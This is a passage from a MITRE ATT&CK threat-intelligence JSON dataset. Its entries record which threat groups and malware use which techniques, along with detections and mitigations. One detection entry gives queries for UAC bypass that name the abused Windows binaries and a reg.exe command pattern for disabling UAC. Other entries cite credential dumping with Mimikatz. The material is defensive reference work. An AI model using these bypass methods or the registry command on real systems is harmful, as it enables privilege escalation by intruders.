LILY](https://attack.mitre.org/groups/G1011) has copied data from social media sites to impersonate targeted individuals.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-19T19:25:14.395Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c85af3d4-ab10-4c49-91c4-bff9054096b8", "type": "relationship", "created": "2021-03-19T16:26:04.440Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest parti", "url": "https://objective-see.com/blog/blog_0x59.html", "description": "Patrick Wardle. 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Retrieved April 20, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for processes making abnormal calls to higher privileged processes, such as a user application connecting to a VPN service.(Citation: versprite xpc vpn)", "modified": "2022-04-20T22:17:35.158Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c887c671-d467-45a1-952b-8fd20cd77ec1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. 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Retrieved November 6, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET", "source_name": "TrendMicro DarkComet Sept 2014"}, {"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. 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[Mustang Panda](https://attack.mitre.org/groups/G0129) has also stored documents for exfiltration in a hidden folder on USB drives.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Avira Mustang Panda January 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c899111b-c3ae-4760-b87f-fce9f21af1f2", "type": "relationship", "created": "2019-08-26T15:27:13.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). 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Retrieved November 4, 2020."}], "modified": "2020-11-05T14:39:23.341Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has created new services for persistence.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c89f4447-e8dc-4b6f-aa52-fade3ced3268", "created": "2022-03-14T14:22:40.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Ukraine Wipers January 2022", "description": "Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. 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Retrieved March 30, 2021."}], "modified": "2021-04-13T00:50:31.596Z", "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can execute commands with high privileges via a specific binary with setuid functionality.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", "target_ref": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8a01e1c-dac0-4a47-bda3-3b5684bd3d47", "type": "relationship", "created": "2020-05-04T19:13:35.459Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.459Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to list the names of all open windows on the infected host.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8a023b1-b472-40fc-98be-5709180e2628", "type": "relationship", "created": "2021-04-20T19:17:58.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 BendyBear Feb 2021", "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", "description": "Harbison, M. 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Retrieved February 16, 2021."}], "modified": "2021-04-20T19:17:58.007Z", "description": "[BendyBear](https://attack.mitre.org/software/S0574) has the ability to determine local time on a compromised host.(Citation: Unit42 BendyBear Feb 2021) ", "relationship_type": "uses", "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8a02e92-6b53-4c1f-ae1f-bebedd6bedc7", "type": "relationship", "created": "2020-09-30T14:29:28.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}], "modified": "2020-09-30T14:29:28.442Z", "description": "(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8a0a286-1296-4f87-bc6e-322cd956fb73", "type": "relationship", "created": "2021-03-09T16:04:38.886Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity Exchange Marauder March 2021", "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "description": "Gruzweig, J. et al. (2021, March 2). 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TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:15:33.012Z", "description": "During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used scheduled task XML triggers.(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "source_ref": "campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8acdf40-8237-487f-8255-91afa327705d", "type": "relationship", "created": "2019-10-10T18:46:45.553Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-17T12:39:56.525Z", "description": "Ensure that applications do not store sensitive data or credentials insecurely. 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Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}], "modified": "2020-03-19T22:02:48.956Z", "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate drive types.(Citation: Cylance Shell Crew Feb 2017)", "relationship_type": "uses", "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c8bc8331-513b-40e1-a82b-67107d2babd4", "created": "2023-03-20T20:13:05.885Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT29 Nov 2018", "description": "Dunwoody, M., et al. (2018, November 19). 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Retrieved April 15, 2019.", "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T19:42:44.319Z", "description": "During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used obfuscated PowerShell to extract an encoded payload from within an .LNK file.(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)", "relationship_type": "uses", "source_ref": "campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}], "modified": "2020-06-22T17:54:15.746Z", "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.(Citation: Palo Alto Gamaredon Feb 2017)", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8bf1e63-1275-46c7-b378-b4a3cc3eb369", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.290Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) gathers product names from the Registry key: <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName</code> and the processor description from the Registry key <code>HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString</code>.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8c5b766-a719-43bd-988a-cb00beedbba3", "type": "relationship", "created": "2017-05-31T21:33:27.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-union", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "source_name": "SecureWorks BRONZE UNION June 2017"}], "modified": "2020-03-30T02:47:04.653Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used RAR to compress, encrypt, and password-protect files prior to exfiltration.(Citation: SecureWorks BRONZE UNION June 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8c7f580-982a-4efc-8a2a-e007e7f07220", "type": "relationship", "created": "2020-03-29T17:17:31.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T15:47:48.647Z", "description": "Many native binaries may not be necessary within a given environment.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8c81782-26cb-4dcc-abc0-9d964d83031c", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor for unusual kernel driver installation activity that may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.", "source_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", "target_ref": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c8cae681-d480-4b85-ba37-d3d3265c98c2", "created": "2023-12-21T21:35:36.488Z", "revoked": false, "external_references": [{"source_name": "Sygnia Emperor Dragonfly October 2022", "description": "Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.", "url": "https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-21T21:35:36.488Z", "description": "[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used the Iox and NPS proxy and tunneling tools in combination  create multiple connections through a single tunnel.(Citation: Sygnia Emperor Dragonfly October 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto CVE-2015-3113 July 2015", "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}], "modified": "2020-03-18T20:44:39.344Z", "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a process listing.(Citation: Palo Alto CVE-2015-3113 July 2015)", "relationship_type": "uses", "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8d0e862-20af-4f9f-84e8-0419c8080008", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant No Easy Breach", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"}, {"source_name": "Unit 42 SeaDuke 2015", "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}], "modified": "2020-03-21T00:25:17.696Z", "description": "[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic has been encrypted with RC4 and AES.(Citation: Mandiant No Easy Breach)(Citation: Unit 42 SeaDuke 2015)", "relationship_type": "uses", "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c8d2293d-14a2-4e56-ae43-8af584c1908e", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:36:26.520Z", "description": "Monitor newly executed processes, such as <code>eventvwr.exe</code> and <code>sdclt.exe</code>, that may bypass UAC mechanisms to elevate process privileges on system.\n\nThreat actors often, after compromising a machine, try to disable User Access Control (UAC) to escalate privileges. This is often done by changing the registry key for system policies using \u201creg.exe\u201d, a legitimate tool provided by Microsoft for modifying the registry via command prompt or scripts. This action interferes with UAC and may enable a threat actor to escalate privileges on the compromised system, thereby allowing further exploitation of the system.\n\nAnalytic 1 - UAC Bypass\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")  IntegrityLevel=High|search (ParentCommandLine=\"\\\"c:\\\\windows\\\\system32\\\\dism.exe\\\"*\"\"*.xml\" AND Image!=\"c:\\\\users\\\\*\\\\appdata\\\\local\\\\temp\\\\*\\\\dismhost.exe\") OR ParentImage=c:\\\\windows\\\\system32\\\\fodhelper.exe OR (CommandLine=\"\\\"c:\\\\windows\\\\system32\\\\wusa.exe\\\"*/quiet*\" AND User!=NOT_TRANSLATED AND CurrentDirectory=c:\\\\windows\\\\system32\\\\ AND ParentImage!=c:\\\\windows\\\\explorer.exe) OR CommandLine=\"*.exe\\\"*cleanmgr.exe /autoclean*\" OR (ParentImage=\"c:\\\\windows\\\\*dccw.exe\" AND Image!=\"c:\\\\windows\\\\system32\\\\cttune.exe\") OR Image=\"c:\\\\program files\\\\windows media player\\\\osk.exe\" OR ParentImage=\"c:\\\\windows\\\\system32\\\\slui.exe\"|eval PossibleTechniques=case(like(lower(ParentCommandLine),\"%c:\\\\windows\\\\system32\\\\dism.exe%\"), \"UACME #23\", like(lower(Image),\"c:\\\\program files\\\\windows media player\\\\osk.exe\"), \"UACME #32\", like(lower(ParentImage),\"c:\\\\windows\\\\system32\\\\fodhelper.exe\"),  \"UACME #33\", like(lower(CommandLine),\"%.exe\\\"%cleanmgr.exe /autoclean%\"), \"UACME #34\", like(lower(Image),\"c:\\\\windows\\\\system32\\\\wusa.exe\"), \"UACME #36\", like(lower(ParentImage),\"c:\\\\windows\\\\%dccw.exe\"), \"UACME #37\", like(lower(ParentImage),\"c:\\\\windows\\\\system32\\\\slui.exe\"), \"UACME #45\") </code>\n\nAnalytic 2 - Disable UAC\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") ParentImage=\"C:\\\\Windows\\\\System32\\\\cmd.exe\" CommandLine=\"reg.exe*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System*REG_DWORD /d 0*\"\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8d6c283-67fb-47f4-8d99-7b86aaf92af4", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Walmart Roberts Oct 2018", "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.", "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278"}, {"source_name": "pcodedmp Bontchev", "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.", "url": "https://github.com/bontchev/pcodedmp"}, {"source_name": "oletools toolkit", "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.", "url": "https://github.com/decalage2/oletools"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8da839f-31cf-42f7-ae75-2df96c44cf31", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for newly executed processes when removable media is mounted.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9", "created": "2017-05-31T21:33:27.033Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}, {"source_name": "NCC Group APT15 Alive and Strong", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018."}, {"source_name": "Mandiant Operation Ke3chang November 2014", "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)", "modified": "2022-04-11T18:44:33.302Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c8de0953-1f20-47a4-bb02-ea9c30e8f932", "type": "relationship", "created": "2021-03-01T21:23:22.797Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. 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Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.144Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute the command code <code>do_upload</code> to send files to C2.(Citation: Leonardo Turla Penquin May 2020)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c92e754c-48bf-4c8c-9504-47bd7f248baf", "created": "2024-02-15T13:42:07.750Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-15T13:42:07.750Z", "description": "Limit access to utilities such as docker to only users who have a legitimate need, especially if using docker in rootful mode. 